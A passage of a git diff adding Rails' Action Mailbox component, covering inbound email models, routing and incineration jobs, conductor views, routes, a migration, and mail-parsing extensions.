+  # that have already been deleted and discard itself if so.
+  #
+  # You can disable incinerating processed emails by setting +config.action_mailbox.incinerate+ or
+  # +ActionMailbox.incinerate+ to +false+.
+  class IncinerationJob < ActiveJob::Base
+    queue_as { ActionMailbox.queues[:incineration] }
+
+    discard_on ActiveRecord::RecordNotFound
+
+    def self.schedule(inbound_email)
+      set(wait: ActionMailbox.incinerate_after).perform_later(inbound_email)
+    end
+
+    def perform(inbound_email)
+      inbound_email.incinerate
+    end
+  end
+end
diff --git a/actionmailbox/app/jobs/action_mailbox/routing_job.rb b/actionmailbox/app/jobs/action_mailbox/routing_job.rb
new file mode 100644
index 0000000000000..4ddf6e4231015
--- /dev/null
+++ b/actionmailbox/app/jobs/action_mailbox/routing_job.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Routing a new InboundEmail is an asynchronous operation, which allows the ingress controllers to quickly
+  # accept new incoming emails without being burdened to hang while they're actually being processed.
+  class RoutingJob < ActiveJob::Base
+    queue_as { ActionMailbox.queues[:routing] }
+
+    def perform(inbound_email)
+      inbound_email.route
+    end
+  end
+end
diff --git a/actionmailbox/app/models/action_mailbox/inbound_email.rb b/actionmailbox/app/models/action_mailbox/inbound_email.rb
new file mode 100644
index 0000000000000..76af7caf922f1
--- /dev/null
+++ b/actionmailbox/app/models/action_mailbox/inbound_email.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "mail"
+
+module ActionMailbox
+  # The +InboundEmail+ is an Active Record that keeps a reference to the raw email stored in Active Storage
+  # and tracks the status of processing. By default, incoming emails will go through the following lifecycle:
+  #
+  # * Pending: Just received by one of the ingress controllers and scheduled for routing.
+  # * Processing: During active processing, while a specific mailbox is running its #process method.
+  # * Delivered: Successfully processed by the specific mailbox.
+  # * Failed: An exception was raised during the specific mailbox's execution of the +#process+ method.
+  # * Bounced: Rejected processing by the specific mailbox and bounced to sender.
+  #
+  # Once the +InboundEmail+ has reached the status of being either +delivered+, +failed+, or +bounced+,
+  # it'll count as having been +#processed?+. Once processed, the +InboundEmail+ will be scheduled for
+  # automatic incineration at a later point.
+  #
+  # When working with an +InboundEmail+, you'll usually interact with the parsed version of the source,
+  # which is available as a +Mail+ object from +#mail+. But you can also access the raw source directly
+  # using the +#source+ method.
+  #
+  # Examples:
+  #
+  #   inbound_email.mail.from # => 'david@loudthinking.com'
+  #   inbound_email.source # Returns the full rfc822 source of the email as text
+  class InboundEmail < Record
+    include Incineratable, MessageId, Routable
+
+    has_one_attached :raw_email, service: ActionMailbox.storage_service
+    enum :status, %i[ pending processing delivered failed bounced ]
+
+    def mail
+      @mail ||= Mail.from_source(source)
+    end
+
+    def source
+      @source ||= raw_email.download
+    end
+
+    def processed?
+      delivered? || failed? || bounced?
+    end
+
+    def instrumentation_payload # :nodoc:
+      {
+        id: id,
+        message_id: message_id,
+        status: status
+      }
+    end
+  end
+end
+
+ActiveSupport.run_load_hooks :action_mailbox_inbound_email, ActionMailbox::InboundEmail
diff --git a/actionmailbox/app/models/action_mailbox/inbound_email/incineratable.rb b/actionmailbox/app/models/action_mailbox/inbound_email/incineratable.rb
new file mode 100644
index 0000000000000..e7c8782f3394d
--- /dev/null
+++ b/actionmailbox/app/models/action_mailbox/inbound_email/incineratable.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+# Ensure that the +InboundEmail+ is automatically scheduled for later incineration if the status has been
+# changed to +processed+. The later incineration will be invoked at the time specified by the
+# +ActionMailbox.incinerate_after+ time using the +IncinerationJob+.
+module ActionMailbox::InboundEmail::Incineratable
+  extend ActiveSupport::Concern
+
+  included do
+    after_update_commit :incinerate_later, if: -> { ActionMailbox.incinerate && status_previously_changed? && processed? }
+  end
+
+  def incinerate_later
+    ActionMailbox::IncinerationJob.schedule self
+  end
+
+  def incinerate
+    Incineration.new(self).run
+  end
+end
diff --git a/actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration.rb b/actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration.rb
new file mode 100644
index 0000000000000..dabc83fae671d
--- /dev/null
+++ b/actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Command class for carrying out the actual incineration of the +InboundMail+ that's been scheduled
+  # for removal. Before the incineration – which really is just a call to +#destroy!+ – is run, we verify
+  # that it's both eligible (by virtue of having already been processed) and time to do so (that is,
+  # the +InboundEmail+ was processed after the +incinerate_after+ time).
+  class InboundEmail::Incineratable::Incineration
+    def initialize(inbound_email)
+      @inbound_email = inbound_email
+    end
+
+    def run
+      @inbound_email.destroy! if due? && processed?
+    end
+
+    private
+      def due?
+        @inbound_email.updated_at < ActionMailbox.incinerate_after.ago.end_of_day
+      end
+
+      def processed?
+        @inbound_email.processed?
+      end
+  end
+end
diff --git a/actionmailbox/app/models/action_mailbox/inbound_email/message_id.rb b/actionmailbox/app/models/action_mailbox/inbound_email/message_id.rb
new file mode 100644
index 0000000000000..78392f02ee772
--- /dev/null
+++ b/actionmailbox/app/models/action_mailbox/inbound_email/message_id.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+# The +Message-ID+ as specified by rfc822 is supposed to be a unique identifier for that individual email.
+# That makes it an ideal tracking token for debugging and forensics, just like +X-Request-Id+ does for
+# web request.
+#
+# If an inbound email does not, against the rfc822 mandate, specify a Message-ID, one will be generated
+# using the approach from +Mail::MessageIdField+.
+module ActionMailbox::InboundEmail::MessageId
+  extend ActiveSupport::Concern
+
+  class_methods do
+    # Create a new +InboundEmail+ from the raw +source+ of the email, which is uploaded as an Active Storage
+    # attachment called +raw_email+. Before the upload, extract the Message-ID from the +source+ and set
+    # it as an attribute on the new +InboundEmail+.
+    def create_and_extract_message_id!(source, **options)
+      message_checksum = OpenSSL::Digest::SHA1.hexdigest(source)
+      message_id = extract_message_id(source) || generate_missing_message_id(message_checksum)
+
+      create! raw_email: create_and_upload_raw_email!(source),
+        message_id: message_id, message_checksum: message_checksum, **options
+    rescue ActiveRecord::RecordNotUnique
+      nil
+    end
+
+    private
+      def extract_message_id(source)
+        Mail.from_source(source).message_id rescue nil
+      end
+
+      def generate_missing_message_id(message_checksum)
+        Mail::MessageIdField.new("<#{message_checksum}@#{::Socket.gethostname}.mail>").message_id.tap do |message_id|
+          logger.warn "Message-ID couldn't be parsed or is missing. Generated a new Message-ID: #{message_id}"
+        end
+      end
+
+      def create_and_upload_raw_email!(source)
+        ActiveStorage::Blob.create_and_upload! io: StringIO.new(source), filename: "message.eml", content_type: "message/rfc822",
+                                               service_name: ActionMailbox.storage_service
+      end
+  end
+end
diff --git a/actionmailbox/app/models/action_mailbox/inbound_email/routable.rb b/actionmailbox/app/models/action_mailbox/inbound_email/routable.rb
new file mode 100644
index 0000000000000..39565df16636b
--- /dev/null
+++ b/actionmailbox/app/models/action_mailbox/inbound_email/routable.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+# A newly received +InboundEmail+ will not be routed synchronously as part of ingress controller's receival.
+# Instead, the routing will be done asynchronously, using a +RoutingJob+, to ensure maximum parallel capacity.
+#
+# By default, all newly created +InboundEmail+ records that have the status of +pending+, which is the default,
+# will be scheduled for automatic, deferred routing.
+module ActionMailbox::InboundEmail::Routable
+  extend ActiveSupport::Concern
+
+  included do
+    after_create_commit :route_later, if: :pending?
+  end
+
+  # Enqueue a +RoutingJob+ for this +InboundEmail+.
+  def route_later
+    ActionMailbox::RoutingJob.perform_later self
+  end
+
+  # Route this +InboundEmail+ using the routing rules declared on the +ApplicationMailbox+.
+  def route
+    ApplicationMailbox.route self
+  end
+end
diff --git a/actionmailbox/app/models/action_mailbox/record.rb b/actionmailbox/app/models/action_mailbox/record.rb
new file mode 100644
index 0000000000000..77b3a99e8978f
--- /dev/null
+++ b/actionmailbox/app/models/action_mailbox/record.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  class Record < ActiveRecord::Base # :nodoc:
+    self.abstract_class = true
+  end
+end
+
+ActiveSupport.run_load_hooks :action_mailbox_record, ActionMailbox::Record
diff --git a/actionmailbox/app/views/layouts/rails/conductor.html.erb b/actionmailbox/app/views/layouts/rails/conductor.html.erb
new file mode 100644
index 0000000000000..1cad6560c4b01
--- /dev/null
+++ b/actionmailbox/app/views/layouts/rails/conductor.html.erb
@@ -0,0 +1,8 @@
+<html>
+<head>
+  <title>Rails Conductor: <%= yield :title %></title>
+</head>
+<body>
+<%= yield %>
+</body>
+</html>
diff --git a/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/index.html.erb b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/index.html.erb
new file mode 100644
index 0000000000000..65f64bf56d7a9
--- /dev/null
+++ b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/index.html.erb
@@ -0,0 +1,16 @@
+<% provide :title, "Deliver new inbound email" %>
+
+<h1>All inbound emails</h1>
+
+<%= link_to "New inbound email by form", main_app.new_rails_conductor_inbound_email_path %> |
+<%= link_to "New inbound email by source", main_app.new_rails_conductor_inbound_email_source_path %>
+
+<table>
+  <tr><th>Message ID</th><th>Status</th></tr>
+  <% @inbound_emails.each do |inbound_email| %>
+    <tr>
+      <td><%= link_to inbound_email.message_id, main_app.rails_conductor_inbound_email_path(inbound_email) %></td>
+      <td><%= inbound_email.status %></td>
+    </tr>
+  <% end %>
+</table>
diff --git a/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/new.html.erb b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/new.html.erb
new file mode 100644
index 0000000000000..5b0e639509a6d
--- /dev/null
+++ b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/new.html.erb
@@ -0,0 +1,52 @@
+<% provide :title, "Deliver new inbound email" %>
+
+<h1>Deliver new inbound email</h1>
+
+<%= form_with(url: main_app.rails_conductor_inbound_emails_path, scope: :mail, local: true) do |form| %>
+  <div>
+    <%= form.label :from, "From" %><br>
+    <%= form.text_field :from, value: params[:from] %>
+  </div>
+
+  <div>
+    <%= form.label :to, "To" %><br>
+    <%= form.text_field :to, value: params[:to] %>
+  </div>
+
+  <div>
+    <%= form.label :cc, "CC" %><br>
+    <%= form.text_field :cc, value: params[:cc] %>
+  </div>
+
+  <div>
+    <%= form.label :bcc, "BCC" %><br>
+    <%= form.text_field :bcc, value: params[:bcc] %>
+  </div>
+
+  <div>
+    <%= form.label :x_original_to, "X-Original-To" %><br>
+    <%= form.text_field :x_original_to, value: params[:x_original_to] %>
+  </div>
+
+  <div>
+    <%= form.label :in_reply_to, "In-Reply-To" %><br>
+    <%= form.text_field :in_reply_to, value: params[:in_reply_to] %>
+  </div>
+
+  <div>
+    <%= form.label :subject, "Subject" %><br>
+    <%= form.text_field :subject, value: params[:subject] %>
+  </div>
+
+  <div>
+    <%= form.label :body, "Body" %><br>
+    <%= form.textarea :body, size: "40x20", value: params[:body] %>
+  </div>
+
+  <div>
+    <%= form.label :attachments, "Attachments" %><br>
+    <%= form.file_field :attachments, multiple: true %>
+  </div>
+
+  <%= form.submit "Deliver inbound email" %>
+<% end %>
diff --git a/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/show.html.erb b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/show.html.erb
new file mode 100644
index 0000000000000..48c08cd040ad3
--- /dev/null
+++ b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/show.html.erb
@@ -0,0 +1,15 @@
+<% provide :title, @inbound_email.message_id %>
+
+<h1><%= @inbound_email.message_id %>: <%= @inbound_email.status %></h1>
+
+<ul>
+  <li><%= button_to "Route again", main_app.rails_conductor_inbound_email_reroute_path(@inbound_email), method: :post %></li>
+  <li><%= button_to "Incinerate", main_app.rails_conductor_inbound_email_incinerate_path(@inbound_email), method: :post %></li>
+</ul>
+
+<details>
+  <summary>Full email source</summary>
+  <pre><%= @inbound_email.source %></pre>
+</details>
+
+<%= link_to "Back to all inbound emails", main_app.rails_conductor_inbound_emails_path %>
\ No newline at end of file
diff --git a/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/sources/new.html.erb b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/sources/new.html.erb
new file mode 100644
index 0000000000000..82b6ea8dd1bb9
--- /dev/null
+++ b/actionmailbox/app/views/rails/conductor/action_mailbox/inbound_emails/sources/new.html.erb
@@ -0,0 +1,12 @@
+<% provide :title, "Deliver new inbound email by source" %>
+
+<h1>Deliver new inbound email by source</h1>
+
+<%= form_with(url: main_app.rails_conductor_inbound_email_sources_path, local: true) do |form| %>
+  <div>
+    <%= form.label :source, "Source" %><br>
+    <%= form.textarea :source, size: "80x60" %>
+  </div>
+
+  <%= form.submit "Deliver inbound email" %>
+<% end %>
diff --git a/actionmailbox/bin/test b/actionmailbox/bin/test
new file mode 100755
index 0000000000000..c53377cc970f4
--- /dev/null
+++ b/actionmailbox/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/actionmailbox/config/routes.rb b/actionmailbox/config/routes.rb
new file mode 100644
index 0000000000000..e3d5737a631f3
--- /dev/null
+++ b/actionmailbox/config/routes.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+Rails.application.routes.draw do
+  scope "/rails/action_mailbox", module: "action_mailbox/ingresses" do
+    post "/postmark/inbound_emails" => "postmark/inbound_emails#create", as: :rails_postmark_inbound_emails
+    post "/relay/inbound_emails"    => "relay/inbound_emails#create",    as: :rails_relay_inbound_emails
+    post "/sendgrid/inbound_emails" => "sendgrid/inbound_emails#create", as: :rails_sendgrid_inbound_emails
+
+    # Mandrill checks for the existence of a URL with a HEAD request before it will create the webhook.
+    get "/mandrill/inbound_emails"  => "mandrill/inbound_emails#health_check", as: :rails_mandrill_inbound_health_check
+    post "/mandrill/inbound_emails" => "mandrill/inbound_emails#create",       as: :rails_mandrill_inbound_emails
+
+    # Mailgun requires that a webhook's URL end in 'mime' for it to receive the raw contents of emails.
+    post "/mailgun/inbound_emails/mime" => "mailgun/inbound_emails#create", as: :rails_mailgun_inbound_emails
+  end
+
+  # TODO: Should these be mounted within the engine only?
+  scope "rails/conductor/action_mailbox/", module: "rails/conductor/action_mailbox" do
+    resources :inbound_emails, as: :rails_conductor_inbound_emails, only: %i[index new show create]
+    get  "inbound_emails/sources/new", to: "inbound_emails/sources#new", as: :new_rails_conductor_inbound_email_source
+    post "inbound_emails/sources", to: "inbound_emails/sources#create", as: :rails_conductor_inbound_email_sources
+
+    post ":inbound_email_id/reroute" => "reroutes#create", as: :rails_conductor_inbound_email_reroute
+    post ":inbound_email_id/incinerate" => "incinerates#create", as: :rails_conductor_inbound_email_incinerate
+  end
+end
diff --git a/actionmailbox/db/migrate/20180917164000_create_action_mailbox_tables.rb b/actionmailbox/db/migrate/20180917164000_create_action_mailbox_tables.rb
new file mode 100644
index 0000000000000..2a1e2f7a8e2e1
--- /dev/null
+++ b/actionmailbox/db/migrate/20180917164000_create_action_mailbox_tables.rb
@@ -0,0 +1,19 @@
+class CreateActionMailboxTables < ActiveRecord::Migration[6.0]
+  def change
+    create_table :action_mailbox_inbound_emails, id: primary_key_type do |t|
+      t.integer :status, default: 0, null: false
+      t.string  :message_id, null: false
+      t.string  :message_checksum, null: false
+
+      t.timestamps
+
+      t.index [ :message_id, :message_checksum ], name: "index_action_mailbox_inbound_emails_uniqueness", unique: true
+    end
+  end
+
+  private
+    def primary_key_type
+      config = Rails.configuration.generators
+      config.options[config.orm][:primary_key_type] || :primary_key
+    end
+end
diff --git a/actionmailbox/lib/action_mailbox.rb b/actionmailbox/lib/action_mailbox.rb
new file mode 100644
index 0000000000000..d0e6b1600d840
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "active_support"
+require "active_support/rails"
+require "active_support/core_ext/numeric/time"
+
+require "action_mailbox/version"
+require "action_mailbox/deprecator"
+require "action_mailbox/mail_ext"
+
+# :markup: markdown
+# :include: ../README.md
+module ActionMailbox
+  extend ActiveSupport::Autoload
+
+  autoload :Base
+  autoload :Router
+  autoload :TestCase
+
+  mattr_accessor :ingress
+  mattr_accessor :logger
+  mattr_accessor :incinerate, default: true
+  mattr_accessor :incinerate_after, default: 30.days
+  mattr_accessor :queues, default: {}
+  mattr_accessor :storage_service
+end
diff --git a/actionmailbox/lib/action_mailbox/base.rb b/actionmailbox/lib/action_mailbox/base.rb
new file mode 100644
index 0000000000000..d6ff9caf404bb
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/base.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+require "active_support/rescuable"
+
+require "action_mailbox/callbacks"
+require "action_mailbox/routing"
+
+module ActionMailbox
+  # = Action Mailbox \Base
+  #
+  # The base class for all application mailboxes. Not intended to be inherited from directly. Inherit from
+  # +ApplicationMailbox+ instead, as that's where the app-specific routing is configured. This routing
+  # is specified in the following ways:
+  #
+  #   class ApplicationMailbox < ActionMailbox::Base
+  #     # Any of the recipients of the mail (whether to, cc, bcc) are matched against the regexp.
+  #     routing /^replies@/i => :replies
+  #
+  #     # Any of the recipients of the mail (whether to, cc, bcc) needs to be an exact match for the string.
+  #     routing "help@example.com" => :help
+  #
+  #     # Any callable (proc, lambda, etc) object is passed the inbound_email record and is a match if true.
+  #     routing ->(inbound_email) { inbound_email.mail.to.size > 2 } => :multiple_recipients
+  #
+  #     # Any object responding to #match? is called with the inbound_email record as an argument. Match if true.
+  #     routing CustomAddress.new => :custom
+  #
+  #     # Any inbound_email that has not been already matched will be sent to the BackstopMailbox.
+  #     routing :all => :backstop
+  #   end
+  #
+  # Application mailboxes need to override the #process method, which is invoked by the framework after
+  # callbacks have been run. The callbacks available are: +before_processing+, +after_processing+, and
+  # +around_processing+. The primary use case is to ensure that certain preconditions to processing are fulfilled
+  # using +before_processing+ callbacks.
+  #
+  # If a precondition fails to be met, you can halt the processing using the +#bounced!+ method,
+  # which will silently prevent any further processing, but not actually send out any bounce notice. You
+  # can also pair this behavior with the invocation of an Action Mailer class responsible for sending out
+  # an actual bounce email. This is done using the #bounce_with method, which takes the mail object returned
+  # by an Action Mailer method, like so:
+  #
+  #   class ForwardsMailbox < ApplicationMailbox
+  #     before_processing :ensure_sender_is_a_user
+  #
+  #     private
+  #       def ensure_sender_is_a_user
+  #         unless User.exist?(email_address: mail.from)
+  #           bounce_with UserRequiredMailer.missing(inbound_email)
+  #         end
+  #       end
+  #   end
+  #
+  # During the processing of the inbound email, the status will be tracked. Before processing begins,
+  # the email will normally have the +pending+ status. Once processing begins, just before callbacks
+  # and the #process method is called, the status is changed to +processing+. If processing is allowed to
+  # complete, the status is changed to +delivered+. If a bounce is triggered, then +bounced+. If an unhandled
+  # exception is bubbled up, then +failed+.
+  #
+  # Exceptions can be handled at the class level using the familiar
+  # ActiveSupport::Rescuable approach:
+  #
+  #   class ForwardsMailbox < ApplicationMailbox
+  #     rescue_from(ApplicationSpecificVerificationError) { bounced! }
+  #   end
+  class Base
+    include ActiveSupport::Rescuable
+    include ActionMailbox::Callbacks, ActionMailbox::Routing
+
+    attr_reader :inbound_email
+    delegate :mail, :delivered!, :bounced!, to: :inbound_email
+
+    delegate :logger, to: ActionMailbox
+
+    def self.receive(inbound_email)
+      new(inbound_email).perform_processing
+    end
+
+    def initialize(inbound_email)
+      @inbound_email = inbound_email
+    end
+
+    def perform_processing # :nodoc:
+      ActiveSupport::Notifications.instrument "process.action_mailbox", instrumentation_payload do
+        track_status_of_inbound_email do
+          run_callbacks :process do
+            process
+          end
+        end
+      rescue => exception
+        # TODO: Include a reference to the inbound_email in the exception raised so error handling becomes easier
+        rescue_with_handler(exception) || raise
+      end
+    end
+
+    def process
+      # Override in subclasses
+    end
+
+    def finished_processing? # :nodoc:
+      inbound_email.delivered? || inbound_email.bounced?
+    end
+
+    # Enqueues the given +message+ for delivery and changes the inbound email's status to +:bounced+.
+    def bounce_with(message)
+      inbound_email.bounced!
+      message.deliver_later
+    end
+
+    # Immediately sends the given +message+ and changes the inbound email's status to +:bounced+.
+    def bounce_now_with(message)
+      inbound_email.bounced!
+      message.deliver_now
+    end
+
+    private
+      def instrumentation_payload
+        {
+          mailbox: self,
+          inbound_email: inbound_email.instrumentation_payload
+        }
+      end
+
+      def track_status_of_inbound_email
+        inbound_email.processing!
+        yield
+        inbound_email.delivered! unless inbound_email.bounced?
+      rescue
+        inbound_email.failed!
+        raise
+      end
+  end
+end
+
+ActiveSupport.run_load_hooks :action_mailbox, ActionMailbox::Base
diff --git a/actionmailbox/lib/action_mailbox/callbacks.rb b/actionmailbox/lib/action_mailbox/callbacks.rb
new file mode 100644
index 0000000000000..cc801083dd091
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/callbacks.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "active_support/callbacks"
+
+module ActionMailbox
+  # = Action Mailbox \Callbacks
+  #
+  # Defines the callbacks related to processing.
+  module Callbacks
+    extend  ActiveSupport::Concern
+    include ActiveSupport::Callbacks
+
+    TERMINATOR = ->(mailbox, chain) do
+      chain.call
+      mailbox.finished_processing?
+    end
+
+    included do
+      define_callbacks :process, terminator: TERMINATOR, skip_after_callbacks_if_terminated: true
+    end
+
+    class_methods do
+      def before_processing(*methods, &block)
+        set_callback(:process, :before, *methods, &block)
+      end
+
+      def after_processing(*methods, &block)
+        set_callback(:process, :after, *methods, &block)
+      end
+
+      def around_processing(*methods, &block)
+        set_callback(:process, :around, *methods, &block)
+      end
+    end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/deprecator.rb b/actionmailbox/lib/action_mailbox/deprecator.rb
new file mode 100644
index 0000000000000..675becfc42921
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/engine.rb b/actionmailbox/lib/action_mailbox/engine.rb
new file mode 100644
index 0000000000000..4f745acd815f3
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/engine.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "rails"
+require "action_controller/railtie"
+require "active_job/railtie"
+require "active_record/railtie"
+require "active_storage/engine"
+
+require "action_mailbox"
+
+module ActionMailbox
+  class Engine < Rails::Engine
+    isolate_namespace ActionMailbox
+    config.eager_load_namespaces << ActionMailbox
+
+    config.action_mailbox = ActiveSupport::OrderedOptions.new
+    config.action_mailbox.incinerate = true
+    config.action_mailbox.incinerate_after = 30.days
+
+    config.action_mailbox.queues = ActiveSupport::InheritableOptions.new \
+      incineration: :action_mailbox_incineration, routing: :action_mailbox_routing
+
+    config.action_mailbox.storage_service = nil
+
+    initializer "action_mailbox.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:action_mailbox] = ActionMailbox.deprecator
+    end
+
+    initializer "action_mailbox.config" do
+      config.after_initialize do |app|
+        ActionMailbox.logger = app.config.action_mailbox.logger || Rails.logger
+        ActionMailbox.incinerate = app.config.action_mailbox.incinerate.nil? || app.config.action_mailbox.incinerate
+        ActionMailbox.incinerate_after = app.config.action_mailbox.incinerate_after || 30.days
+        ActionMailbox.queues = app.config.action_mailbox.queues || {}
+        ActionMailbox.ingress = app.config.action_mailbox.ingress
+        ActionMailbox.storage_service = app.config.action_mailbox.storage_service
+      end
+    end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/gem_version.rb b/actionmailbox/lib/action_mailbox/gem_version.rb
new file mode 100644
index 0000000000000..d6e0f3264a7f6
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Returns the currently loaded version of Action Mailbox as a +Gem::Version+.
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 8
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/mail_ext.rb b/actionmailbox/lib/action_mailbox/mail_ext.rb
new file mode 100644
index 0000000000000..c4d277a1f9d7a
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/mail_ext.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require "mail"
+
+# The hope is to upstream most of these basic additions to the Mail gem's Mail object. But until then, here they lay!
+Dir["#{File.expand_path(File.dirname(__FILE__))}/mail_ext/*"].each { |path| require "action_mailbox/mail_ext/#{File.basename(path)}" }
diff --git a/actionmailbox/lib/action_mailbox/mail_ext/address_equality.rb b/actionmailbox/lib/action_mailbox/mail_ext/address_equality.rb
new file mode 100644
index 0000000000000..39a43b3468601
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/mail_ext/address_equality.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Mail
+  class Address
+    def ==(other_address)
+      other_address.is_a?(Mail::Address) && to_s == other_address.to_s
+    end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/mail_ext/address_wrapping.rb b/actionmailbox/lib/action_mailbox/mail_ext/address_wrapping.rb
new file mode 100644
index 0000000000000..19eb624c1c0b0
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/mail_ext/address_wrapping.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Mail
+  class Address
+    def self.wrap(address)
+      address.is_a?(Mail::Address) ? address : Mail::Address.new(address)
+    end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/mail_ext/addresses.rb b/actionmailbox/lib/action_mailbox/mail_ext/addresses.rb
new file mode 100644
index 0000000000000..5961088c781c0
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/mail_ext/addresses.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Mail
+  class Message
+    def from_address
+      address_list(header[:from])&.addresses&.first
+    end
+
+    def reply_to_address
+      address_list(header[:reply_to])&.addresses&.first
+    end
+
+    def recipients_addresses
+      to_addresses + cc_addresses + bcc_addresses + x_original_to_addresses + x_forwarded_to_addresses
+    end
+
+    def to_addresses
+      Array(address_list(header[:to])&.addresses)
+    end
+
+    def cc_addresses
+      Array(address_list(header[:cc])&.addresses)
+    end
+
+    def bcc_addresses
+      Array(address_list(header[:bcc])&.addresses)
+    end
+
+    def x_original_to_addresses
+      Array(header[:x_original_to]).collect { |header| Mail::Address.new header.to_s }
+    end
+
+    def x_forwarded_to_addresses
+      Array(header[:x_forwarded_to]).collect { |header| Mail::Address.new header.to_s }
+    end
+
+    private
+      def address_list(obj)
+        if obj.respond_to?(:element)
+          # Mail 2.8+
+          obj.element
+        else
+          # Mail <= 2.7.x
+          obj&.address_list
+        end
+      end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/mail_ext/from_source.rb b/actionmailbox/lib/action_mailbox/mail_ext/from_source.rb
new file mode 100644
index 0000000000000..17b7fc80ad536
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/mail_ext/from_source.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Mail
+  def self.from_source(source)
+    Mail.new Mail::Utilities.binary_unsafe_to_crlf(source.to_s)
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/mail_ext/recipients.rb b/actionmailbox/lib/action_mailbox/mail_ext/recipients.rb
new file mode 100644
index 0000000000000..102ec83debe4b
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/mail_ext/recipients.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Mail
+  class Message
+    def recipients
+      Array(to) + Array(cc) + Array(bcc) + Array(header[:x_original_to]).map(&:to_s) +
+        Array(header[:x_forwarded_to]).map(&:to_s)
+    end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/relayer.rb b/actionmailbox/lib/action_mailbox/relayer.rb
new file mode 100644
index 0000000000000..e2890acb608ab
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/relayer.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "action_mailbox/version"
+require "net/http"
+require "uri"
+
+module ActionMailbox
+  class Relayer
+    class Result < Struct.new(:status_code, :message)
+      def success?
+        !failure?
+      end
+
+      def failure?
+        transient_failure? || permanent_failure?
+      end
+
+      def transient_failure?
+        status_code.start_with?("4.")
+      end
+
+      def permanent_failure?
+        status_code.start_with?("5.")
+      end
+    end
+
+    CONTENT_TYPE = "message/rfc822"
+    USER_AGENT   = "Action Mailbox relayer v#{ActionMailbox.version}"
+
+    attr_reader :uri, :username, :password
+
+    def initialize(url:, username: "actionmailbox", password:)
+      @uri, @username, @password = URI(url), username, password
+    end
+
+    def relay(source)
+      case response = post(source)
+      when Net::HTTPSuccess
+        Result.new "2.0.0", "Successfully relayed message to ingress"
+      when Net::HTTPUnauthorized
+        Result.new "4.7.0", "Invalid credentials for ingress"
+      else
+        Result.new "4.0.0", "HTTP #{response.code}"
+      end
+    rescue IOError, SocketError, SystemCallError => error
+      Result.new "4.4.2", "Network error relaying to ingress: #{error.message}"
+    rescue Timeout::Error
+      Result.new "4.4.2", "Timed out relaying to ingress"
+    rescue => error
+      Result.new "4.0.0", "Error relaying to ingress: #{error.message}"
+    end
+
+    private
+      def post(source)
+        client.post uri, source,
+          "Content-Type"  => CONTENT_TYPE,
+          "User-Agent"    => USER_AGENT,
